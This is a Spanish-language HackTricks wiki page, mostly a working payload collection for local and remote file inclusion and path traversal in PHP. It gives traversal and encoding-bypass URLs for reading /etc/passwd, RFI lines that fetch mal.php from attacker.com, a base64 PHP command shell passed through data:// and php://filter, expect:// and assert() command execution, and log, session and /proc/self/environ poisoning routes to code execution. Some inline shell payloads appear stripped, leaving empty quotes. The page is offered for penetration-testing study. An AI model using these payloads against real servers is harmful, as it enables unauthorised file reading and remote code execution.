# Inclusión de archivos/Travesía de ruta
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores. **Perspectivas de Hacking**\ Involúcrate con contenido que explora la emoción y los desafíos del hacking **Noticias de Hacking en Tiempo Real**\ Mantente al día con el mundo del hacking a través de noticias e información en tiempo real **Últimos Anuncios**\ Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy! ## Inclusión de archivos **Inclusión de Archivos Remotos (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow\_url\_include**).\ **Inclusión de Archivos Locales (LFI):** El servidor carga un archivo local. La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor. **Funciones PHP vulnerables**: require, require\_once, include, include\_once Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Ciegos - Interesantes - Archivos LFI2RCE ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** **Mezclando varias listas de LFI de \*nix y añadiendo más rutas, he creado esta:** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %} Intenta también cambiar `/` por `\`\ Intenta también añadir `../../../../../` Se puede encontrar una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para verificar si existe la vulnerabilidad) [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** Mezcla de diferentes listas de palabras: {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %} Intenta también cambiar `/` por `\`\ Intenta también quitar `C:/` y añadir `../../../../../` Se puede encontrar una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para verificar si existe la vulnerabilidad) [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** Verifica la lista de LFI de Linux. ## LFI básico y bypasses Todos los ejemplos son para Inclusión de Archivos Local pero también podrían aplicarse a la Inclusión de Archivos Remota (página=[http://miservidor.com/phpshellcode.txt\\](http://miservidor.com/phpshellcode.txt\)/). ``` http://example.com/index.php?page=../../../etc/passwd ``` ### secuencias de recorrido despojadas de forma no recursiva ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Byte nulo (%00)** Burla la adición de más caracteres al final de la cadena proporcionada (burla de: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` Esto está **resuelto desde PHP 5.4** ### **Codificación** Podrías usar codificaciones no estándar como la codificación de URL doble (y otras): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Desde la carpeta existente Tal vez el back-end esté verificando la ruta de la carpeta: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Explorando Directorios del Sistema de Archivos en un Servidor El sistema de archivos de un servidor se puede explorar de forma recursiva para identificar directorios, no solo archivos, mediante ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se detalla un método para lograr esto: 1. **Determinar la Profundidad del Directorio:** Averiguar la profundidad de su directorio actual al recuperar con éxito el archivo `/etc/passwd` (aplicable si el servidor es de base Linux). Un ejemplo de URL podría estar estructurado de la siguiente manera, indicando una profundidad de tres: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` 2. **Sondear Carpetas:** Agrega el nombre de la carpeta sospechosa (por ejemplo, `private`) a la URL, luego navega de regreso a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **Interpretar los Resultados:** La respuesta del servidor indica si la carpeta existe: - **Error / Sin Salida:** La carpeta `private` probablemente no existe en la ubicación especificada. - **Contenidos de `/etc/passwd`:** Se confirma la presencia de la carpeta `private`. 4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Locales (LFI). Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (asumiendo que el directorio actual está a una profundidad de 3), utiliza: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Técnica de Truncamiento de Ruta** El truncamiento de ruta es un método utilizado para manipular las rutas de archivos en aplicaciones web. A menudo se emplea para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez modificada por la medida de seguridad, siga apuntando al archivo deseado. En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo: - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` y `/etc/passwd/` se tratan como la misma ruta. - Cuando los últimos 6 caracteres son `passwd`, añadir un `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo. - De manera similar, si se añade `.php` a una ruta de archivo (como `shellcode.php`), agregar un `/.` al final no alterará el archivo al que se accede. Los ejemplos proporcionados muestran cómo utilizar el truncamiento de ruta para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. ``` ``` http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` En estos escenarios, es posible que se necesiten alrededor de 2027 recorridos, pero este número puede variar según la configuración del servidor. - **Usando Segmentos de Punto y Caracteres Adicionales**: Las secuencias de recorrido (`../`) combinadas con segmentos de punto adicionales y caracteres pueden utilizarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor. - **Determinando el Número de Recorridos Requeridos**: A través de prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para navegar al directorio raíz y luego a `/etc/passwd`, asegurando que se neutralicen las cadenas añadidas (como `.php`) pero que la ruta deseada (`/etc/passwd`) permanezca intacta. - **Comenzando con un Directorio Falso**: Es una práctica común comenzar la ruta con un directorio inexistente (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de ruta del servidor. Al emplear técnicas de truncamiento de ruta, es crucial comprender el comportamiento de análisis de ruta del servidor y la estructura del sistema de archivos. Cada escenario podría requerir un enfoque diferente, y a menudo es necesario realizar pruebas para encontrar el método más efectivo. **Esta vulnerabilidad fue corregida en PHP 5.3.** ### **Trucos de evasión de filtros** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd http://example.com/index.php?page=PhP://filter ``` ## Inclusión de Archivos Remotos En php esto está deshabilitado por defecto porque **`allow_url_include`** está en **Off.** Debe estar en **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtrando** el acceso a páginas web externas, [según este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar, por ejemplo, el protocolo data con base64 para decodificar un código PHP en base64 y obtener RCE: {% code overflow="wrap" %} ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` {% endcode %} {% hint style="info" %} En el código anterior, se agregó `+.txt` al final porque el atacante necesitaba una cadena que terminara en `.txt`, de modo que la cadena termine con eso y después de la decodificación b64 esa parte devolverá solo basura y el verdadero código PHP será incluido (y por lo tanto, ejecutado). {% endhint %} Otro ejemplo **sin usar el protocolo `php://`** sería: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` {% endcode %} ## Elemento raíz de Python En python en un código como este: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` Si el usuario pasa una **ruta absoluta** a **`file_name`**, la **ruta anterior simplemente se elimina**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` Es el comportamiento previsto según [la documentación](https://docs.python.org/3.10/library/os.path.html#os.path.join): > Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de ruta absoluta. ## Listado de Directorios en Java Parece que si tienes una Travesía de Ruta en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no sucede en otros lenguajes (por lo que sé). ## Top 25 parámetros Aquí tienes una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (desde [este enlace](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} ?action={payload} ?board={payload} ?date={payload} ?detail={payload} ?file={payload} ?download={payload} ?path={payload} ?folder={payload} ?prefix={payload} ?include={payload} ?page={payload} ?inc={payload} ?locate={payload} ?show={payload} ?doc={payload} ?site={payload} ?type={payload} ?view={payload} ?content={payload} ?document={payload} ?layout={payload} ?mod={payload} ?conf={payload} ``` ## LFI / RFI usando envolturas y protocolos de PHP ### php://filter Los filtros de PHP permiten realizar operaciones básicas de **modificación en los datos** antes de ser leídos o escritos. Hay 5 categorías de filtros: * [Filtros de cadena](https://www.php.net/manual/en/filters.string.php): * `string.rot13` * `string.toupper` * `string.tolower` * `string.strip_tags`: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">") * Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP * [Filtros de conversión](https://www.php.net/manual/en/filters.convert.php) * `convert.base64-encode` * `convert.base64-decode` * `convert.quoted-printable-encode` * `convert.quoted-printable-decode` * `convert.iconv.*`: Transforma a una codificación diferente (`convert.iconv..`). Para obtener la **lista de todas las codificaciones** admitidas, ejecuta en la consola: `iconv -l` {% hint style="warning" %} Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo cual podría ser útil para escribir texto arbitrario o hacer que una función como la inclusión de texto arbitrario sea procesada. Para más información, consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). {% endhint %} * [Filtros de compresión](https://www.php.net/manual/en/filters.compression.php) * `zlib.deflate`: Comprime el contenido (útil si se está exfiltrando mucha información) * `zlib.inflate`: Descomprime los datos * [Filtros de encriptación](https://www.php.net/manual/en/filters.encryption.php) * `mcrypt.*`: Obsoleto * `mdecrypt.*`: Obsoleto * Otros filtros * Ejecutando en PHP `var_dump(stream_get_filters());` puedes encontrar un par de **filtros inesperados**: * `consumed` * `dechunk`: revierte la codificación chunked de HTTP * `convert.*` ```php # String Filters ## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd"); ## Same chain without the "|" char echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd"); ## string.string_tags example echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala"); # Conversion filter ## B64 decode echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8="); ## Chain B64 encode and decode echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd"); ## convert.quoted-printable-encode example echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo="); =C2=A3hellooo=3D ## convert.iconv.utf-8.utf-16le echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo="); # Compresion Filter ## Compress + B64 echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd"); readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` {% hint style="warning" %} La parte "php://filter" es insensible a mayúsculas y minúsculas {% endhint %} ### php://fd Este contenedor permite acceder a los descriptores de archivo que el proceso tiene abierto. Potencialmente útil para extraer el contenido de archivos abiertos: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` También puedes usar **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque) ### zip:// y rar:// Sube un archivo Zip o Rar con un PHPShell adentro y accede a él.\ Para poder abusar del protocolo rar, **necesita ser activado específicamente**. ```bash echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php # To compress with rar rar a payload.rar payload.php; mv payload.rar shell.jpg; rm payload.php http://example.com/index.php?page=rar://shell.jpg%23payload.php ``` ### data:// La pseudoruta `data://` se puede utilizar en ataques de inclusión de archivos para cargar datos directamente desde la URL en lugar de un archivo en el sistema de archivos. Esto puede ser útil para cargar datos codificados en base64 u otros formatos directamente desde la solicitud HTTP. ``` http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Ten en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`** ### expect:// Expect debe estar activado. Puedes ejecutar código usando esto: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// Especifica tu carga útil en los parámetros POST: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// Un archivo `.phar` se puede utilizar para ejecutar código PHP cuando una aplicación web utiliza funciones como `include` para cargar archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`: ```php startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` Para compilar el archivo `.phar`, se debe ejecutar el siguiente comando: ```bash php --define phar.readonly=0 create_path.php ``` Al ejecutarse, se creará un archivo llamado `test.phar`, que potencialmente podría ser aprovechado para explotar vulnerabilidades de Inclusión de Archivos Locales (LFI). En casos donde la LFI solo realiza la lectura de archivos sin ejecutar el código PHP dentro, a través de funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, se podría intentar la explotación de una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos utilizando el protocolo `phar`. Para comprender detalladamente cómo explotar vulnerabilidades de deserialización en el contexto de archivos `.phar`, consulta el documento vinculado a continuación: [Guía de Explotación de Deserialización de Phar](phar-deserialization.md) {% content-ref url="phar-deserialization.md" %} [phar-deserialization.md](phar-deserialization.md) {% endcontent-ref %} ### Más protocolos Consulta más posibles [**protocolos para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:** * [php://memory y php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no está claro cómo esto puede ser útil en un ataque de inclusión de archivos) * [file://](https://www.php.net/manual/en/wrappers.file.php) — Acceder al sistema de archivos local * [http://](https://www.php.net/manual/en/wrappers.http.php) — Acceder a URLs HTTP(s) * [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceder a URLs FTP(s) * [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión * [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con un patrón (no devuelve nada imprimible, por lo que no es realmente útil aquí) * [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 * [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (No es útil para leer archivos arbitrarios) ## LFI a través de 'assert' de PHP Los riesgos de Inclusión de Archivos Locales (LFI) en PHP son notablemente altos al tratar con la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si la entrada que contiene caracteres de travesía de directorios como ".." está siendo verificada pero no se está desinfectando adecuadamente. Por ejemplo, el código PHP podría estar diseñado para prevenir la travesía de directorios de la siguiente manera: ```bash assert("strpos('$file', '..') === false") or die(""); ``` Mientras esto tiene como objetivo detener la travesía, crea involuntariamente un vector para la inyección de código. Para explotar esto y leer el contenido de archivos, un atacante podría usar: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` Del mismo modo, para ejecutar comandos del sistema arbitrarios, se podría usar: ```plaintext ' and die(system("id")) or ' ``` Es importante **codificar en URL estas cargas útiles**.
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores. **Información sobre Hacking**\ Participa en contenido que explora la emoción y los desafíos del hacking **Noticias de Hacking en Tiempo Real**\ Mantente al día con el mundo del hacking a través de noticias e información en tiempo real **Últimos Anuncios**\ Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de la plataforma **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo! ## Travesía de Ruta PHP a Ciegas {% hint style="warning" %} Esta técnica es relevante en casos en los que **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra. {% endhint %} En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de una travesía de ruta a ciegas a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de error**. En resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadenará un **error**. Luego, para filtrar el primer carácter se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**. **Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo objetivo de solo lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` ¡Para conocer los detalles técnicos, consulta la publicación mencionada! ## LFI2RCE ### Inclusión Remota de Archivos Como se explicó anteriormente, [**siga este enlace**](./#remote-file-inclusion). ### A través del archivo de registro de Apache/Nginx Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, establecer dentro del **agente de usuario** o dentro de un **parámetro GET** un shell de PHP como **``** e incluir ese archivo {% hint style="warning" %} Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles se modificarán por la cadena "_**quote;**_", **PHP lanzará un error** y **no se ejecutará nada más**. Además, asegúrate de **escribir correctamente la carga útil** o PHP lanzará un error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad. {% endhint %} Esto también se podría hacer en otros registros pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "básica"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de este encabezado.\ Otros posibles caminos de registro: ```python /var/log/apache2/access.log /var/log/apache/access.log /var/log/apache2/error.log /var/log/apache/error.log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/httpd/error_log ``` ### A través de Correo Electrónico **Envía un correo** a una cuenta interna (usuario@localhost) que contenga tu carga útil PHP como `` e intenta incluirlo en el correo del usuario con una ruta como **`/var/mail/`** o **`/var/spool/mail/`** ### A través de /proc/\*/fd/\* 1. Sube muchas shells (por ejemplo: 100) 2. Incluye [http://ejemplo.com/index.php?page=/proc/$PID/fd/$FD](http://ejemplo.com/index.php?page=/proc/$PID/fd/$FD), donde $PID = PID del proceso (puede ser forzado por fuerza bruta) y $FD es el descriptor de archivo (también puede ser forzado por fuerza bruta) ### A través de /proc/self/environ Como un archivo de registro, envía la carga útil en el User-Agent, se reflejará dentro del archivo /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### A través de la carga Si puedes cargar un archivo, simplemente inyecta el payload de la shell en él (por ejemplo: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf ### A través de la carga de un archivo Zip Subir un archivo ZIP que contenga un shell PHP comprimido y acceder: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### A través de sesiones PHP Verifique si el sitio web utiliza Sesiones PHP (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` En PHP, estas sesiones se almacenan en archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Establece la cookie a `` ``` login=1&user=&pass=password&lang=en_us.php ``` Utiliza el LFI para incluir el archivo de sesión de PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### Via ssh Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status y /etc/passwd) e intenta acceder a **\/.ssh/id\_rsa** ### **Via** **vsftpd** _**logs**_ Los registros del servidor FTP vsftpd se encuentran en **_/var/log/vsftpd.log_**. En el escenario donde existe una vulnerabilidad de Inclusión de Archivos Locales (LFI) y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos: 1. Inyectar un payload PHP en el campo de nombre de usuario durante el proceso de inicio de sesión. 2. Después de la inyección, utilizar el LFI para recuperar los registros del servidor desde **_/var/log/vsftpd.log_**. ### Via php base64 filter (usando base64) Como se muestra en [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora Non-base64. Puedes usar eso para evadir la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y agregará "php" al base64. Aquí tienes un ejemplo de payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` ### A través de filtros php (sin necesidad de archivo) Este [**informe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo. {% content-ref url="lfi2rce-via-php-filters.md" %} [lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md) {% endcontent-ref %} ### A través de fallo de segmentación **Sube** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud**, provoca un **fallo de segmentación**, y entonces el **archivo temporal no se eliminará** y podrás buscarlo. {% content-ref url="lfi2rce-via-segmentation-fault.md" %} [lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md) {% endcontent-ref %} ### A través del almacenamiento de archivos temporales de Nginx Si encuentras una **Inclusión Local de Archivos** y **Nginx** está en funcionamiento frente a PHP, es posible que puedas obtener RCE con la siguiente técnica: {% content-ref url="lfi2rce-via-nginx-temp-files.md" %} [lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md) {% endcontent-ref %} ### A través de PHP\_SESSION\_UPLOAD\_PROGRESS Si encuentras una **Inclusión Local de Archivos** incluso si **no tienes una sesión** y `session.auto_start` está en `Off`. Si proporcionas **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **POST multipart**, PHP **habilitará la sesión por ti**. Podrías abusar de esto para obtener RCE: {% content-ref url="via-php_session_upload_progress.md" %} [via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md) {% endcontent-ref %} ### A través de cargas de archivos temporales en Windows Si encuentras una **Inclusión Local de Archivos** y el servidor está en **Windows**, podrías obtener RCE: {% content-ref url="lfi2rce-via-temp-file-uploads.md" %} [lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md) {% endcontent-ref %} ### A través de phpinfo() (file\_uploads = on) Si encuentras una **Inclusión Local de Archivos** y un archivo que expone **phpinfo()** con file\_uploads = on, puedes obtener RCE: {% content-ref url="lfi2rce-via-phpinfo.md" %} [lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md) {% endcontent-ref %} ### A través de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgación de Ruta Si encuentras una **Inclusión Local de Archivos** y puedes **filtrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas PHP**, puedes intentar **burlar esa verificación** con esta **Condición de Carrera**: {% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} [lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md) {% endcontent-ref %} ### A través de espera eterna + fuerza bruta Si puedes abusar de la LFI para **subir archivos temporales** y hacer que el servidor **cuelgue** la ejecución de PHP, entonces podrías **fuerza bruta nombres de archivo durante horas** para encontrar el archivo temporal: {% content-ref url="lfi2rce-via-eternal-waiting.md" %} [lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md) {% endcontent-ref %} ### Hasta Error Fatal Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para lanzar ese error). **No sé cómo es útil esto pero podría serlo.**\ _Incluso si causas un Error Fatal de PHP, los archivos temporales de PHP subidos se eliminan._
## Referencias * [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\ * [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) {% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs! **Perspectivas de Hacking**\ Involúcrate con contenido que profundiza en la emoción y desafíos del hacking **Noticias de Hacking en Tiempo Real**\ Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real **Últimos Anuncios**\ Mantente informado sobre los nuevos programas de recompensas por bugs que se lanzan y actualizaciones importantes de plataformas **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
